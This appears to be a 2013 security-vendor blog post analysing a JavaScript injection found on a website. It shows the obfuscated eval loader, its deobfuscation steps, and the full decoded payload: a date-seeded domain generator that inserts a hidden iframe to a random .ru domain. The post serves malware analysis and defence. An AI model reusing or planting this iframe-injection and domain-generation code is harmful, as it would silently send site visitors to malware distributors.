Quttera web security blog: Malicious JavaScript generates hidden iframe to random .ru websites

Malicious JavaScript generates hidden iframe to random .ru domains

Background

Online Website Malware Scanner has identified malicious JavaScript code injection in the scanned website. Such malicious obfuscated JavaScript code is used to build malicious iframe invisible to the website visitor. Upon accessing the infected website user's web browser downloads content from remote malware distributor. This infected website hosts suspicious JavaScript code injected in 1 files. As discussed in other posts about malicious iframes generation, the attack flow is very similar and contains multiple levels of obfuscation to overcome the detection mechanisms.

Malicious action

Malicious iframes are often used to distribute malware hosted on external web resources(websites).

Website malware scanner report

Submission date: Mon Apr 15 22:50:26 2013

Infected website's files: 1

Website malware scan report link: http://goo.gl/kTFgw
Pastebin: http://pastebin.com/Tg8pY5mi

Website malware scanner report

Malicious JavaScript injection

Threat dump:

Malware entry

Malware entry details.

Beautified script

var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");
document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));
window.eval(String.fromCharCode(105, 61, 48, 59, 116, 114, 121, 123, 112, 114, 111, 116, 111, 116, 121, 112, 101,45, 53, 59, 125, 99, 97, 116, 99, 104, 40, 122, 41, 123, 102, 61, 91, 49, 48, 50, 44, ... 116, 114, 121, 123, 113,61, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 114, 101, 97, 116, 101, 69, 108, 101, 109, 101, 110, 116, 40,34, 98, 34, 41, 59, 105, 102, 40, 101, 41, 113, 46, 97, 112, 112, 101, 110, 100, 67, 104, 105, 108, 100, 40, 113,43, 34, 34, 41, 59, 125, 99, 97, 116, 99, 104, 40, 102, 119, 98, 101, 119, 101, 41, 123, 119, 61, 102, 59, 115,61, 91, 93, 59, 125, 13, 10, 114, 61, 83, 116, 114, 105, 110, 103, 59, 122, 61, 40, 40, 101, 41, 63, 34, 67, 111,100, 101, 34, 58, 34, 34, 41, 59, 102, 111, 114, 40, 59, 49, 51, 51, 51, 45, 53, 43, 53, 62, 105, 59, 105, 43, 61,49, 41, 123, 106, 61, 105, 59, 105, 102, 40, 101, 41, 115, 61, 115, 43, 114, 46, 102, 114, 111, 109, 67, 104, 97,114, 67, 111, 100, 101, 40, 40, 119, 91, 106, 93, 47, 40, 50, 45, 49, 43, 106, 37, 50, 41, 41, 41, 59, 125, 13,10, 105, 102, 40, 102, 41, 101, 40, 115, 41, 59));

Second level of decryption

i = 0;
try {
prototype - 5;
} catch (z) {
f = [102, 234, 110, 198, 116, 210, 111, 220, 32, 220, 101, 240, 116, 164, 97, 220, 100, 222, 109, ... 210,108, 200, 40, 210, 102, 228, 109, 82, 125, 250, 99, 194, 116, 198, 104, 80, 101, 82, 123, 250, 125, 88, 53, 96,48, 82, 59];
v = "e" + "v" + "a";
}
if (v) e = window[v + "l"];
try {
q = document.createElement("b");
if (e) q.appendChild(q + "");
} catch (fwbewe) {
w = f;
s = [];
}
r = String;
z = ((e) ? "Code" : "");
for (; 1333 - 5 + 5 > i; i += 1) {
j = i;
if (e) s = s + r.fromCharCode((w[j] / (2 - 1 + j % 2)));
}
if (f) e(s);

Simplified version of malicious code

s = "";
i = 0;
f = [102, 234, 110, 198, 116, 210, 111, 220, 32, 220, 101, 240, 116, 164, 97, 2....];
for (; 1333 - 5 + 5 > i; i += 1) { s = s + String.fromCharCode((f[i] / (2 - 1 + i % 2)));}
eval(s);

Malicious payload

Decoded payload generates script that creates hidden iframes to random domains in *.ru e.g http://<random-domain-name>.ru/runforestrun?sid=cx
Each time to new malicious domain.

function nextRandomNumber() {

  var hi = this.seed / this.Q;

  var lo = this.seed % this.Q;

  var test = this.A * lo - this.R * hi;

  if (test > 0) {

  this.seed = test

  } else {

  this.seed = test + this.M

  }

  return (this.seed * this.oneOverM)

}

function RandomNumberGenerator(unix) {

  var d = new Date(unix * 1000);

  var s = d.getHours() > 12 ? 1 : 0;

  this.seed = 2345678901 + (d.getMonth() * 0xFFFFFF) + (d.getDate() * 0xFFFF) + (Math.round(s * 0xFFF));

  this.A = 48271;

  this.M = 2147483647;

  this.Q = this.M / this.A;

  this.R = this.M % this.A;

  this.oneOverM = 1.0 / this.M;

  this.next = nextRandomNumber;

  return this

}

function createRandomNumber(r, Min, Max) {

  return Math.round((Max - Min) * r.next() + Min)

}

function generatePseudoRandomString(unix, length, zone) {

  var rand = new RandomNumberGenerator(unix);

  var letters = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's','t', 'u', 'v', 'w', 'x', 'y', 'z'];

  var str = '';

  for (var i = 0; i < length; i++) {

str += letters[createRandomNumber(rand, 0, letters.length - 1)]

  }

  return str + '.' + zone

}

setTimeout(function () {

  try {

  if (typeof iframeWasCreated2 == "undefined") {

iframeWasCreated2 = true;

  var unix = Math.round(+new Date() / 1000);

  var domainName = generatePseudoRandomString(unix, 16, 'ru');

ifrm = document.createElement("IFRAME");

ifrm.setAttribute("src", "http://" + domainName + "/runforestrun?sid=cx");

ifrm.style.width = "0px";

ifrm.style.height = "0px";

ifrm.style.visibility = "hidden";

document.body.appendChild(ifrm)

  }

  } catch (e) {}

}, 500);

Blacklisting status

The website is Suspicious on Google Safe Browsing.

Malware clean-up

Such malware is often hidden inside the JavaScript file. If you suspect that your website was infected by similar malware please use Website Anti-malware Monitoring for remediation assessment.

Quttera web security blog

Pages

Friday, April 19, 2013

Malicious JavaScript generates hidden iframe to random .ru websites

Malicious JavaScript generates hidden iframe to random .ru domains

Background

Malicious action

Malicious iframes are often used to distribute malware hosted on external web resources(websites).

Website malware scanner report

Malware entry

Beautified script

Second level of decryption

Simplified version of malicious code

Malicious payload

Blacklisting status

Malware clean-up

No comments:

Post a Comment

emergency
249$ /yr
1 domain
Initial Response Time within 4 hrs.
Manual Malware Removal / Full Website Audit
Blacklisting removal
Web Application Firewall (WAF)
Dedicated Malware Analyst
Create Account

economy
149$ /yr
1 domain
Initial Response Time within 12 hrs.
Malware clean-up
Blacklisting removal
24/7 Access to Cybersecurity Professionals
Create Account

Pages

Friday, April 19, 2013

Malicious JavaScript generates hidden iframe to random .ru websites

Malicious JavaScript generates hidden iframe to random .ru domains

Background

Malicious action

Malicious iframes are often used to distribute malware hosted on external web resources(websites).Website malware scanner report

Malware entry

Beautified script

Second level of decryption

Simplified version of malicious code

Malicious payload

Blacklisting status

Malware clean-up

No comments:

Post a Comment

Malicious iframes are often used to distribute malware hosted on external web resources(websites).

Website malware scanner report